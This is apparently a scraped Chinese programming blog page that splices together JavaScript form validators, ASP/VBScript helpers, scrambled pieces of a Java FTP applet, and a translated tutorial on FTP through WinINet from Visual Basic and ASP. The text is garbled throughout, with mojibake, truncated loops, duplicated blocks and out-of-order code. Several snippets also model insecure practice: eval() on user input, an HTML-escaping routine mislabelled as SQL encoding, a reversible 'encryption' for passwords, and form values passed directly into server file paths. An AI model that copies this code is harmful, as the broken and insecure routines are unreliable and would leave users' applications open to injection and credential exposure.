//校验登录名:只能输入5-20个以字母开头、可带数字、“_”、“.”的字串 function isRegisterUserName(s) { var patrn=/^[a-zA-Z]{1}([a-zA-Z0-9._]){4,19}$/; if (!patrn.exec(s)) return false return true } //校验用户姓名:只能输入1-30个以字母开头的字串 function isTrueName(s) { var patrn=/^[^`~!@#$%^&*()+-=|\\\[\]\{\}:;\'\,.<>/? 0-9]{2,19}$/; if (!patrn.exec(s)) return false return true }
//校验密码:只能输入6-15个字母、数字 function isPasswd(s) { var patrn=/^[a-zA-Z0-9]{6,15}$/; if (!patrn.exec(s)) return false return true }
//检验体重 function isAvoirdupois(s) { var patrn=/^[1-9]{1}[0-9]{0,2}$/; var patrn2=/^[1-9]{1}$/; var intPart=s.indexOf('.'); var decPart=s.lastIndexOf('.'); if (intPart==-1 && patrn.exec(s) && eval(s)>=2 && eval(s)<=200) return true if (intPart!=decPart || intPart==0 || intPart+2!=s.length) return false if (!patrn.exec(s.substring(0,intPart)) || !patrn2.exec(s.substring(decPart+1))) return false if (eval(s)<2 || eval(s)>200) return false return true }
//校验普通电话、传真号码:可以“+”开头,除数字外,可含有“-” function isTel(s) { var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/; if (!patrn.exec(s)) return false return true }
//校验手机号码:必须以数字开头,除数字外,可含有“-” function isMobile(s) { var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/; if (!patrn.exec(s)) return false return true }
//校验地区代码 function isAreaCode(s) { var patrn=/^(\d){6}$/; if (!patrn.exec(s)) return false return true }
//校验邮政编码 function isPostalCode(s) { var patrn=/^[1-9]{1}(\d){5}$/; if (!patrn.exec(s)) return false return true }
//校验搜索关键字 function isSearch(s) { var patrn=/^[^`~!@#$%^&*()+=|\\\[\]\{\}:;\'\,.<>/? ]{1}[^`~!@$%^&()+=|\\\[\]\{\}:;\'\,.<>?]{0,19}$/; if (!patrn.exec(s)) return false return true }
//校验是否为ip地址 function isIP(s) { var patrn=/^[0-9.]{1,20}$/; if (!patrn.exec(s)) return false return true }
//检验页码是否正确 function isPage(s) { var patrn=/^[1-9]{1}[0-9]{0,2}$/; if (!patrn.exec(s)) return false return true }
//表单输入值错误提示 function vErr(o,s){ alert(s); if (o) o.focus(); return false; }
//判断单选 function chkRadio(o){ for (i=0;iif (o[i].checked) return true; } return false; } //====================================表单类================================ // 文件上传过程中判断文件类型 /*
/
//表单的值不能为空 function isNull(elem){ //var pattern=/^\s+|\s+$/; if(elem.replace(/(^\s+|\s$)/g, "")==""){ return false; }else{ return true; } } //不能超过imax字符 function imax(elem){ if(elem.length>imax){ return false; }else{ return true; } } //不能少于imix字符 function imix(elem){ if(elem.lengthreturn false; }else{ return true; } } //输入为中文判断 function isChinese(elem){ var pattern=/[^\x00-\xff]/g; if(pattern.test(elem)){ //包含中文 return false; }else{ //不包含中文 return true; } }
/ *********************************************************************************************************************
.cMenu { FILTER: alpha(opacity=0);BACKGROUND-COLOR: #D6D3CE;BORDER-BOTTOM: #666666 2px solid; BORDER-LEFT: #E4E4E4 2px solid; BORDER-RIGHT: #666666 2px solid; BORDER-TOP: #E4E4E4 2px solid; COLOR: #000000; CURSOR: default; FONT-SIZE: 9pt; color:#000000;FONT-WEIGHT: normal; LINE-HEIGHT: 20px; POSITION: absolute; VISIBILITY: hidden; WIDTH: 110px } .menuitems { font-size:9pt; MARGIN: 2px; PADDING-BOTTOM: 0px; PADDING-LEFT: 15px; PADDING-RIGHT: 3px; PADDING-TOP: 0px; }
<!--[if IE]> onmouseover=highlightie5()>
电话号码的验证
要求: (1)电话号码由数字、"("、")"和"-"构成 (2)电话号码为3到8位 (3)如果电话号码中包含有区号,那么区号为三位或四位 (4)区号用"("、")"或"-"和其他部分隔开 (5)移动电话号码为11或12位,如果为12位,那么第一位为0 (6)11位移动电话号码的第一位和第二位为"13" (7)12位移动电话号码的第二位和第三位为"13" 根据这几条规则,可以与出以下正则表达式: (^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)
<script language="javascript"> function PhoneCheck(s) { var str=s; var reg=/(^[0-9]{3,4}\-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^\([0-9]{3,4}\)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/ alert(reg.test(str)); } </script> <input type=text name="iphone"> <input type=button onclick="PhoneCheck(document.all.iphone.value)" value="Check"> ----------------------------------------------------------------------------------------
<% '******************************************** '函数功能:正则表达式校验 '参数patrn:要校验的类型 ' "User" - 用户名 ' "Truename" - 英文姓名 ' "Passwd" - 密码 ' "Tel" - 电话/传真 ' "Mobil" - 手机 ' "Date" - 日期(格式:yyyy-mm-dd) ' "Email" - 电子邮件 ' "Postalcode" - 邮政编码 ' "Search" - 搜索关键字 ' "Int" - 整数 '参数strng:要校验的字串 '返回值:校验结果,正确返回true,错误返回false '******************************************** Function IsVerify(patrn,strng) strng=Trim(strng) Select Case patrn Case "User" '用户名 patrn="^[a-z]{1}([a-z0-9]|[._]){2,19}$" Case "Truename" '英文姓名 patrn="^[a-zA-Z]{1,30}$" Case "Passwd" '密码 patrn="^(\w){6,20}$" Case "Tel" '电话/传真 patrn="^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$" Case "Mobil" '手机 patrn="^(\d)+[-]?(\d){6,12}$" Case "Date" '日期(格式:yyyy-mm-dd) patrn="^[12]{1}(\d){3}[-][01]?(\d){1}[-][0123]?(\d){1}$" Case "Email" '电子邮件 patrn="^((\w)|[-]|[.])+@(((\w)|[-])+[.])+[a-z]{2,4}$" Case "Postalcode" '邮政编码 patrn="^[a-z0-9 ]{3,12}$" Case "Search" '搜索关键字 patrn="^[^`~!@#$%^&*()+=|\\\[\]\{\}:;\'\,.<>/?]{1}[^`~!@$%^&()+=|\\\[\]\{\}:;\'\,.<>?]{0,19}$" Case "Int" '整数 patrn="^[1-9]{1}[0-9]{0,6}$" Case "Array" patrn="^[0-9]{1}([0-9]|[\,]){0,150}$" End Select Dim regEx Dim Match Set regEx = New RegExp regEx.Pattern = patrn regEx.IgnoreCase = True regEx.Global = True Matches = regEx.test(strng) IsVerify = Matches Set regEx = Nothing End Function
'******************************************** '函数功能:对输入框的特殊字串进行过滤保存 '参数strPass:过滤前的字符串 '返回值:过滤后的字符串 '******************************************** Function SQLencode(byVal strPass) strPass = Replace(strPass, "&", "&") strPass = Replace(strPass, "<", "<") strPass = Replace(strPass, ">", ">") strPass = Replace(strPass, """", """) strPass = Replace(strPass, "'", "'") strPass = Replace(strPass, " ", " ") strPass = Replace(strPass,chr(13)&chr(10),"<br/>") SQLencode = strPass End Function
'******************************************** '函数功能:对SQLencode函数过滤后的字符串进行还原 '参数strPass:经过过滤后的字符串 '返回值:还原的过滤前的字符串 '******************************************** Function SQLdecode(byVal strPass) If Not isNull(strPass) Then strPass = Replace(strPass, "<", "<") strPass = Replace(strPass, ">", ">") strPass = Replace(strPass, ""","""" ) strPass = Replace(strPass, "'","'" ) strPass = Replace(strPass,"<br/>",chr(13)&chr(10)) End If SQLdecode = strPass End Function
'******************************************** '函数功能:生成随机密码(字符为数字与大小写字母集合) '参数length:密码长度 '返回值:随机密码 '******************************************** Function random(length) Dim n,str rnds="" Randomize For i=1 To length n=Int(75*Rnd+48) If (n>57 and n<65) Or (n>90 and n<97) Then i=i-1 Else rnds=rnds&Chr(n) End If Next random=rnds End Function
'******************************************** '函数功能:对密码进行加密/解密(最大长度为15位) '******************************************** Function Encrypt(preString) Dim pwds,s pwds="" s=Left(preString,15) For i=1 To Len(s) seed=170-Asc(Mid(s,i,1))-i pwds=pwds & Chr(seed) Next Encrypt=pwds End Function
'******************************************** '函数功能:格式化当前时间字串 '参数:无 '返回值:返回当前时间的纯数字字符串方式的表示(例如:当前时间2001-10-3 2:34:6,返回字符串"20011003023406") '******************************************** Function TheDate() y=year(date()) m=month(date()) d=day(date()) h=Hour(time()) n=Minute(time()) s=Second(time()) If Len(m)=1 Then m="0"&m If Len(d)=1 Then d="0"&d If Len(h)=1 Then h="0"&h If Len(n)=1 Then n="0"&n If Len(s)=1 Then s="0"&s thedate=y&m&d&h&n&s End Function
'******************************************** '函数功能:返回字符串的长度 '参数:字符串 '返回值:字符串长度 '******************************************** Function strLen(str) dim p_len p_len=0 strlen=0 if trim(str)<>"" then p_len=len(trim(str)) for xx=1 to p_len if asc(mid(str,xx,1))<0 then strlen=int(strlen) + 2 else strlen=int(strlen) + 1 end if next end if End Function
'******************************************** '函数功能:发送邮件通知 '参数:字符串 '返回值:成功/失败 '******************************************** Function SendMail(ToAddress, Subject, Body) On Error Resume Next Set objMail = Server.CreateObject("JMail.Message") objMail.From = ADR_Email objMail.FromName = "ADR管理中心" objMail.Subject = Subject objMail.AddRecipient ToAddress objMail.Body = Body If objMail.Send("") Then SendMail = True Else SendMail = False End If If Err.Number<> 0 Then SendMail = False Set objMail = Nothing On Error Goto 0 End Function %> -----------------------------------------------------------------------------------
//检验法人代码 function isCorporationCode(s){ var patrn=/^(\d){15}$/; if (!patrn.exec(s)) return false return true }
//校验登录名:只能输入5-20个以字母开头、可带数字、“_”、“.”的字串 function isRegisterUserName(s) { var patrn=/^[a-zA-Z]{1}([a-zA-Z0-9._]){4,19}$/; if (!patrn.exec(s)) return false return true } //校验用户姓名:只能输入1-30个以字母开头的字串 function isTrueName(s) { var patrn=/^[^`~!@#$%^&*()+-=|\\\[\]\{\}:;\'\,.<>/? 0-9]{2,19}$/; if (!patrn.exec(s)) return false return true }
//校验密码:只能输入6-15个字母、数字 function isPasswd(s) { var patrn=/^[a-zA-Z0-9]{6,15}$/; if (!patrn.exec(s)) return false return true }
//检验体重 function isAvoirdupois(s) { var patrn=/^[1-9]{1}[0-9]{0,2}$/; var patrn2=/^[1-9]{1}$/; var intPart=s.indexOf('.'); var decPart=s.lastIndexOf('.'); if (intPart==-1 && patrn.exec(s) && eval(s)>=2 && eval(s)<=200) return true if (intPart!=decPart || intPart==0 || intPart+2!=s.length) return false if (!patrn.exec(s.substring(0,intPart)) || !patrn2.exec(s.substring(decPart+1))) return false if (eval(s)<2 || eval(s)>200) return false return true }
//校验普通电话、传真号码:可以“+”开头,除数字外,可含有“-” function isTel(s) { var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/; if (!patrn.exec(s)) return false return true }
//校验手机号码:必须以数字开头,除数字外,可含有“-” function isMobile(s) { var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/; if (!patrn.exec(s)) return false return true }
//校验地区代码 function isAreaCode(s) { var patrn=/^(\d){6}$/; if (!patrn.exec(s)) return false return true }
//校验邮政编码 function isPostalCode(s) { var patrn=/^[1-9]{1}(\d){5}$/; if (!patrn.exec(s)) return false return true }
//校验搜索关键字 function isSearch(s) { var patrn=/^[^`~!@#$%^&*()+=|\\\[\]\{\}:;\'\,.<>/? ]{1}[^`~!@$%^&()+=|\\\[\]\{\}:;\'\,.<>?]{0,19}$/; if (!patrn.exec(s)) return false return true }
//校验是否为ip地址 function isIP(s) { var patrn=/^[0-9.]{1,20}$/; if (!patrn.exec(s)) return false return true }
//检验页码是否正确 function isPage(s) { var patrn=/^[1-9]{1}[0-9]{0,2}$/; if (!patrn.exec(s)) return false return true }
//表单输入值错误提示 function vErr(o,s){ alert(s); if (o) o.focus(); return false; }
//判断单选 function chkRadio(o){ for (i=0;i<o.length;i++){ if (o[i].checked) return true; } return false; }
Trackback: http://tb.blog.csdn.net/TrackBack.aspx?PostId=532132 GBC.gridwidth=1; ((GridBagLayout)getLayout()).setConstraints(LblHost,GBC); add(LblHost); GBC.gridwidth=GridBagConstraints.REMAINDER; ((GridBagLayout)getLayout()).setConstraints(TxtHost,GBC); add(TxtHost);
GBC.gridwidth=1; ((GridBagLayout)getLayout()).setConstraints(LblUID,GBC); add(LblUID); GBC.gridwidth=1; ((GridBagLayout)getLayout()).setConstraints(TxtUID,GBC); add(TxtUID);
GBC.gridwidth=1; ((GridBagLayout)getLayout()).setConstraints(LblPWD,GBC); add(LblPWD); GBC.gridwidth=1; ((GridBagLayout)getLayout()).setConstraints(TxtPWD,GBC); add(TxtPWD);
GBC.gridwidth=1; GBC.weightx=2; ((GridBagLayout)getLayout()).setConstraints(BtnConn,GBC); add(BtnConn); GBC.gridwidth=GridBagConstraints.REMAINDER;
((GridBagLayout)getLayout()).setConstraints(BtnClose,GBC); add(BtnClose);
GBC.gridwidth=GridBagConstraints.REMAINDER; GBC.fill = GridBagConstraints.HORIZONTAL; ((GridBagLayout)getLayout()).setConstraints(lsArea,GBC); add(lsArea); }
public boolean connect(String hostname, String uid,String pwd) { this.hostname = hostname; LblPrompt.setText("正在连接,请等待....."); try{ aftp =new FtpClient(hostname); aftp.login(uid,pwd); aftp.binary(); showFileContents(); } catch(FtpLoginException e){ a="无权限与主机:"+hostname+"连接!"; LblPrompt.setText(a); return false; } catch (IOException e){ a="连接主机:"+hostname+"失败!"; LblPrompt.setText(a); return false; } catch(SecurityException e) { a="无权限与主机:"+hostname+"连接!"; LblPrompt.setText(a); return false; } LblPrompt.setText("连接主机:"+hostname+"成功!"); return true; }
public void stop() { try { aftp.closeServer(); } catch(IOException e) { } }
public void paint(Graphics g){ } import sun.net.ftp.*; import sun.net.*; import java.awt.*; import java.awt.event.*; import java.applet.*; import java.io.*;
public class FtpApplet extends Applet { FtpClient aftp; DataOutputStream outputs ; TelnetInputStream ins; TelnetOutputStream outs; TextArea lsArea; Label LblPrompt; Button BtnConn; Button BtnClose; TextField TxtUID; TextField TxtPWD; TextField TxtHost; int ch; public String a="没有连接主机"; String hostname=""; public void init () { setBackground(Color.white); setLayout(new GridBagLayout()); GridBagConstraints GBC = new GridBagConstraints(); LblPrompt = new Label("没有连接主机"); LblPrompt.setAlignment(Label.LEFT);
BtnConn = new Button("连接"); BtnClose = new Button("断开"); BtnClose.enable(false); TxtUID = new TextField("",15); TxtPWD = new TextField("",15); TxtPWD.setEchoCharacter(’*’); TxtHost = new TextField("",20); Label LblUID = new Label("User ID:"); Label LblPWD = new Label("PWD:"); Label LblHost = new Label("Host:");
lsArea = new TextArea(30,80); lsArea.setEditable(false);
GBC.gridwidth= GridBagConstraints.REMAINDER; GBC.fill = GridBagConstraints.HORIZONTAL; ((GridBagLayout)getLayout()).setConstraints(LblPrompt,GBC); add(LblPrompt);
何为FTP?
文件传输协议(FTP)是IP世界的核心协议,网络管理人员,Web 开发人员,以及那些想要恢复他们的祖先照片的人天天都在使用它。但是对于ASP开发人员来说,如果没有第三方服务器组件提供这一功能的话,FTP功能就不存在。
猜猜看会怎么样?Microsoft的开发人员已经在WinINet.DLL中为我们提供了FTP功能。这个DLL是与Internet Explorer 和其它一些内容集成在一起的,处理有关FTP协议的低级任务。我们所需要做的是将一些提供的功能集合起来以便ASP代码调用方便。
听起来这是一个将我们的Visual Basic技巧用于实际的好机会。
来自朋友的一点帮助 对于那些从来没有使用VB编写过ActiveX 组件的人来说,在网上有许多可用的资源。就在15 Seconds上有许多文章可以参考。COM for ASP Programmers
( http://www.15seconds.com/Issue/971214.htm) 覆盖了创建组件的一些基本技巧,如果你对此是个新手的话,这篇文章一定要读。Creating a Server Component with Visual Basic
( http://www.15seconds.com/issue/98930.htm ) 引导你走过创建组件的所有步骤。
上面已经提到,Microsoft在WinINet.DLL中为我们提供了FTP功能。WinINet API 的说明文件位于http://msdn.microsoft.com/developer/sdk/inetsdk/help/itt/wininet/wininet.htm#book_wininet。同大多数API说明文件一样,这个文件也是针对C++ 编程人员的。但是如果你不理解C++ 或是很容易对这些API说明文件的说教感到厌烦,还继续读下去吗?
一步步地来 现在开始,对于FTP.MICROSOFT.COM的文件DIRMAP.TXT执行一个FTP GET命令,并将文件存储为C:\DIRMAP.TXT。基本步骤是:
1、用一个InternetOpen调用设置环境。
2、调用InternetConnect 函数与主机连接。
3、调用FtpGetFile 达到文件。
4、关闭第1、2步创建的句柄,用InternetCloseHandle 函数。
现在来仔细看看每一步: 1、通过调用InternetOpen 函数设置环境。下面是VB特定调用这一函数的声明:
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" _
(ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, _
ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
参数sAgent 用来指定调用WinINet 函数的应用程序或实体。为了达到目的,可以设置FTP控制。
参数lAccessType 指定我们是直接与某一主机相连还是使用代理服务器相连。如果传递值1,就直接与主机连接。如果传递3,就通过代理服务器。如果传递0,连接时就要基于
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings下的注册表数值
ProxyEnable、ProxyServer和 ProxyOverride 。
我们可以使用参数sProxyName和 sProxyBypass,而不是注册设置来提供代理服务器和不使用代理服务器的IP地址和名字。列出代理的基本格式是rotocol=protocol://proxy_name:access_port?。例如,要指定Proxy1 上的端口21为代理服务器,用Ftp=ftp://Proxy1:21?作为sProxyName。要饶过以ov? 开始的任何主机,sProxyBypass 字符串应为ov*? 。
最后,lFlags 用来显示影响函数结果的不同选择。在我们的例子中,我们传递0。
所以,不使用代理而打开一个Internet session 时,我们的调用是这样的:
lngINet = InternetOpen(揗yFTP Control? 1, vbNullString, vbNullString, 0)
如果函数调用失败,lngINet 为0。不然,lngINet 就保存在下一步中将要传递给InternetConnect
函数的句柄的值。
2、通过调用InternetConnect 函数与主机连接。VB特定调用这一函数的声明是:
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" _
(ByVal hInternetSession As Long, ByVal sServerName As String, _
ByVal nServerPort As Integer, ByVal sUsername As String, _
ByVal sPassword As String, ByVal lService As Long, _
ByVal lFlags As Long, ByVal lContext As Long) As Long
第一个参数hInternetSession 是InternetOpen 调用返回的句柄值。
sServerName 是我们即将连接的FTP服务器的IP地址或主机名。
nServerPort 指示与哪一个端口连接。在我们的例子中使用的值为0,它指示的是默认的端口21。
sUsername 和 sPassword 分别传递用户名和口令。
lService 用来指示使用的服务类型,如HTTP, FTP等。通常传递值为1,表示FTP服务。
如果将x8000000传递到 lFlags 参数,连接将使用被动FTP语义。或者,在我们的例子中,传递0来使用非被动语义。
最后,当使用回叫信号时,lContext 用来识别应用程序的前后关系。因为在我们的例子中不使用回叫信号,所以这个值为0。
现在使用匿名的电子邮件用户名与主机FTP.MICROSOFT.COM 相连接:
lngINetConn = InternetConnect(lngINet, ftp.microsoft.com, 0, _
揳anonymous,ally@wallyworld.com, 1, 0, 0)
如果函数调用失败,则lngINetConn 为0。反之,lngINetConn 就保存在下一步中将传递给FtpGetFile 的句柄的值。
3、现在我们已经实现了连接,然后就需要调用FtpGetFile 。这个函数完成从一个FTP服务器上读取文件并在本地存储时有关的所有管理功能。VB特定调用这一函数的声明是:
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" _
(ByVal hFtpSession As Long, ByVal lpszRemoteFile As String, _
ByVal lpszNewFile As String, ByVal fFailIfExists As Boolean, _
ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, _
ByVal dwContext As Long) As Boolean
第一个参数hFtpSession 是InternetConnect 调用返回的句柄值。
lpszRemoteFile和lpszNewFile 分别是FTP服务器上的文件名和将在本地机上创建的文件名。
fFailIfExists 标志是0(替换本地文件)或1 (如果本地文件已经存在则取消)。
dwFlagsAndAttributes 用来指定本地文件的文件属性。在我们的例子中忽略,只传递0。
dwFlags 参数指定为1是用ASCII 传输文件(A类传输方法),指定为2是用二进制传输文件(1类传输方法)。由于DIRMAP.TXT 是ASCII 文本文件,我们传递值1。
最后,当使用回叫信号时,lContext 用来识别应用程序前后关系。因为在我们的例子中不使用回叫信号,所以这个值为0。
所以,以下是得到DIRMAP.TXT文件并将其存在 C:\DIRMAP.TXT的调用。如果本地文件已经存在,就覆盖它。
blnRC = FtpGetFile(lngINetConn, dirmap.txt,c:\dirmap.txt, 0, 0, 1, 0)
如果函数调用成功,blnRC为 True, 反之为False。
4、现在文件已经被接收,使用InternetCloseHandle 调用来关闭连接和session 句柄。VB特定调用这一函数的声明是:
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer.
如同指明的一样,此函数只有一个参数hInet,是要关闭或抛弃的句柄的值。因为InternetConnection 和InternetOpen 中有句柄,就需要调用这个关闭函数两次。另外因为InternetConnection 句柄是由InternetOpen 句柄决定的,关闭他们时的顺序与创建时相反。
以下是调用函数:
InternetCloseHandle lngINetConn
InternetCloseHandle lngINet
恭喜!用这短短的四步就完成了FTP GET。
接下来
在FTP中,Put、Rename、 Delete是怎样的?这些函数也相当简单。首先来看看Put 函数。
基本步骤是:
1、调用InternetOpen函数设置环境。
2、调用InternetConnect 函数连接主机。
3、调用FtpPutFile 函数得到文件。
4、用InternetCloseHandle 函数关闭第1、2步的句柄。
当使用FtpGetFile 时与上面的步骤看起来完全一样。事实上唯一的区别是在第3步中调用了FtpPutFile 。VB特定调用这一函数的声明是:
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" _
(ByVal hFtpSession As Long, ByVal lpszLocalFile As String, _
ByVal lpszRemoteFile As String, ByVal dwFlags As Long, _
ByVal dwContext As Long) As Boolean
第一个参数hFtpSession 是InternetConnect 调用返回的句柄值。
lpszNewFile 和lpszRemoteFile 分别是本地机上的文件名和将在远程主机上创建的文件名。
参数dwFlags 指定为1时,用ASCII 传输文件(A类传输方法),指定为2是用二进制传输文件(1类传输方法)。由于DIRMAP.TXT 是ASCII 文本文件,我们传递值1。
最后,当使用回叫信号时,lContext 用来识别应用程序前后关系。因为在我们的例子中不使用回叫信号,所以这个值为0。
以下是得到DIRMAP.TXT文件并将其存在 C:\DIRMAP.TXT的调用。
blnRC = FtpPutFile(lngINetConn, 揷:\dirmap.txt? 揹irmap.txt? 1, 0)
如果函数调用成功,blnRC为 True, 反之为False。
你可以看到,把文件放到FTP服务器上与从FTP服务器上得到文件一样简单。有一点要注意,匿名用户无权在FTP服务器上创建文件。所以要确定用来与FTP服务器连接的用户帐号要有创建文件的权限。不然的话,FtpPutFile函数调用就会返回False,说明Put 失败了。
现在我们用FtpDeleteFile 函数删除一个名为Test.txt的文件。同样只有第三步中的函数调用发生了改变。VB特定调用这一函数的声明是:
Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" _
(ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
第一个参数hFtpSession 是InternetConnect 调用返回的句柄值。
lpszFileName 是FTP服务器上要删除的文件。
下面是在FTP服务器上删除TEST.TXT 文件的调用:
blnRC = FtpDeleteFile(lngINetConn, Test.txt)
如果函数调用成功,blnRC为 True, 反之为False。
要注意什么? 几乎所有的FTP函数都一样:设置环境,连接主机,执行FTP任务,清除。但是也有例外。如何得到一个路径列表或者得到文件之前读文件的内容?这些类型的FTP任务只是有一点点复杂。首先看看路径列表问题。
列举路径的基本步骤也是一样的。首先还是要设置环境,连接FTP服务器。结束之后还是要清楚连接和句柄。为了实际得到路径内容,需要使用两个新函数:FtpFindFirstFile 和InternetFindNextFile。VB特定调用这一函数的声明是:
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" _
(ByVal hFtpSession As Long, ByVal lpszSearchFile As String, _
lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, _
ByVal dwContent As Long) As Long
第一个参数hFtpSession 是InternetConnect 调用返回的句柄值。
lpszSearchFile 是FTP服务器上的路径或文件名。如果你指定了一个空字符,就使用当前路径。另外还可以指定通配符。例如,要列出以ms开始的根目录下的路径内容,就使用ms*? 。
lpFindFileData 与我们使用的其它参数有一点不同。数据类型WIN32_FIND_DATA 是用户定义类型,保存关于路径下的文件的信息。类型看起来是这样的:
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
注意,有许多参数有不同的用户定义数据类型:FILETIME。下面是它们的类型定义:
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
在我们的例子中,只使用dwFileAttributes的内容,其中包含文件的属性,还有cFileName,其中包含文件名。
最后,我们的例子不使用dwFlags 和 dsContext ,所以每个都传递0。
下面在当前路径下开始路径列举的调用:
lngHINet = FtpFindFirstFile(lngINetConn, "*.*", pData, 0, 0)
如果函数失败,就返回0。否则,用来继续进行路径列举的lngHInet 是一个有效句柄。另外,第一个文件名和属性储存在pData 参数中。
一旦调用了FtpFindFirstFile 并返回一个有效句柄,我们要调用InternetFindNextFile 函数除非它返回错误值18表示没有可以列举的文件。对InternetFindNextFile的VB特定声明是:
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" _
(ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
第一个参数,hFind 是 FtpFindFirstFile 调用所返回的句柄。
lpvFindData 是同样的用户定义类型,用在FtpFindFirstFile 调用中存储文件信息。
下面是在路径中得到下一个文件的调用:
blnRC = InternetFindNextFile(lngHINet, pData)
如果调用成功,blnRC 返回 True,否则 blnRC 为False。Err对象的LastDllError返回18表明再没有文件存在了。
现在再回来看看基本的四步:第1步和第2步(设置环境和连接服务器)应该已经完成。以下列出的第三步。最后一步,第四步,就清除环境和连接句柄,跟前面一样:
Dim pData As WIN32_FIND_DATA
Dim lngHINet As Long
Dim intError As Integer
Dim strTemp As String
Dim blnRC As Boolean
'init the filename buffer
pData.cFileName = String(260, 0)
'get the first file in the directory...
lngHINet = FtpFindFirstFile(mlngINetConn, "*.*", pData, 0, 0)
'how'd we do?
If lngHINet = 0 Then
'get the error from the findfirst call
intError = Err.LastDllError
'is the directory empty?
If intError < > ERROR_NO_MORE_FILES Then
'whoa...a real error
卐rror handler?
End If
Else
'we got some dir info...
'get the name
strTemp = Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
卻tore the file info someplace?
'now loop through the rest of the files...
Do
'init the filename buffer
pData.cFileName = String(260, 0)
'get the next item
blnRC = InternetFindNextFile(lngHINet, pData)
'how'd we do?
If Not blnRC Then
'get the error from the findnext call
intError = Err.LastDllError
'no more items
If intError < > 18 Then
'whoa...a real error
卐rror handler?
Exit Do
Else
'no more items...
Exit Do
End If
Else
'get the last item returned
strTemp = Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
卻tore the file info someplace?
End If
Loop
'close the handle for the dir listing
InternetCloseHandle lngHINet
End If
现在可以看到,即使是有一些复杂的任务,例如列举路径,都可以简单地纳入这简单的四步过程:设置环境,连接主机,执行FTP任务,关闭环境和连接句柄。
你自己的FTP ActiveX 服务器组件 要使这篇文章完整,本文包括一个FTP ActiveX 服务器组件的VB源代码。代码中包含3个类模块:clsITEM.CLS 、colITEM.CLS和 FTP.CLS。clsITEM.CLS 包含的类定义以clsITEM作为类名,在列举一个路径时包含着单独的文件信息。colITEM.CLS 包含的类定义以colItem作为类名,用于使用clsITEM 类的文件集合。最后FTP.CLS 包含的类定义以ASPFTP 作为类名,用于所有的FTP函数。我还要包含一个工程文件TP_CLASSES.VBP)。
除了源代码,还包含了每个函数的样本ASP文件,一个包含文件(ASPFTP2.INC) ,你可以将它包含在每个ASP文件中使一些函数的调用更简单。例如,这里是使用FTP Get 函数的ASP代码。服务器,电子邮件用户名,口令,远程和本地文件名,使用的传输类型(ASCII 或 Binary),当本地文件存在时是否覆盖,这些都被输入一个表单中(未显示)并用ASP Request 对象引用:
< %@ LANGUAGE=VBScript % >
< !--#Include File="aspftp2.inc"-- >
< %
'check to see if user submitted form
If Request.Form("GetIt") < > "" Then
Dim objFTP
Dim strMsg
'create reference to object
Set objFTP = Server.CreateObject("NIBLACK.ASPFTP")
'set the properties for the connection
objFTP.sServerName = Request.Form("Server")
objFTP.sUserID = Request.Form("User_ID")
objFTP.sPassword = Request.Form("Password")
'connect to the host
If objFTP.bConnect Then
'set the properties for the get function
objFTP.bOverWrite = Request.Form("OverWrite")
objFTP.lTransferType = Request.Form("Transfer_Type")
'now get the file
If objFTP.bGetFile(Request.Form("Remote_File"), Request.Form("Local_File")) Then
'get was successful
strMsg = "Get Successful!"
Else
'get failed...let user know
strMsg = "Get Failed: " & objFTP.sError
End If
Else
'connection failed...let user know
strMsg = "Connection Failed: " & objFTP.sError
End If
'clean up...
Set objFTP = Nothing
Else
'default return msg
strMsg = ""
End If
% >
我还为许多许多FTP函数创建了uick?方法。基本上,你调用一种uick?方法,用来完成任务的所有参数都包含在方法调用中,而不用在ASP代码中设置每一个属性。举例说,这里的ASP代码使用FTP Get 函数。服务器,电子邮件用户名,口令,远程和本地文件名,使用的传输类型(ASCII 或 Binary),当本地文件存在时是否覆盖,这些都被输入一个表单中(未显示)并用ASP Request 对象引用。
< %@ LANGUAGE=VBScript % >
< !--#Include File="aspftp2.inc"-- >
< %
'check to see if user submitted form
If Request.Form("GetIt") < > "" Then
Dim objFTP
Dim strMsg
'create reference to object
Set objFTP = Server.CreateObject("NIBLACK.ASPFTP")
'now get the file
If objFTP.bQGetFile(Request.Form("Server"), Request.Form("User_ID"), _
Request.Form("Password"), Request.Form("Remote_File"), Request.Form("Local_File"), _
Request.Form("Transfer_Type"), Request.Form("OverWrite")) Then
'get was successful
strMsg = "Get Successful!"
Else
'get failed...let user know
strMsg = "Get Failed: " & objFTP.sError
End If
'clean up...
Set objFTP = Nothing
Else
'default return msg
strMsg = ""
End If
% >
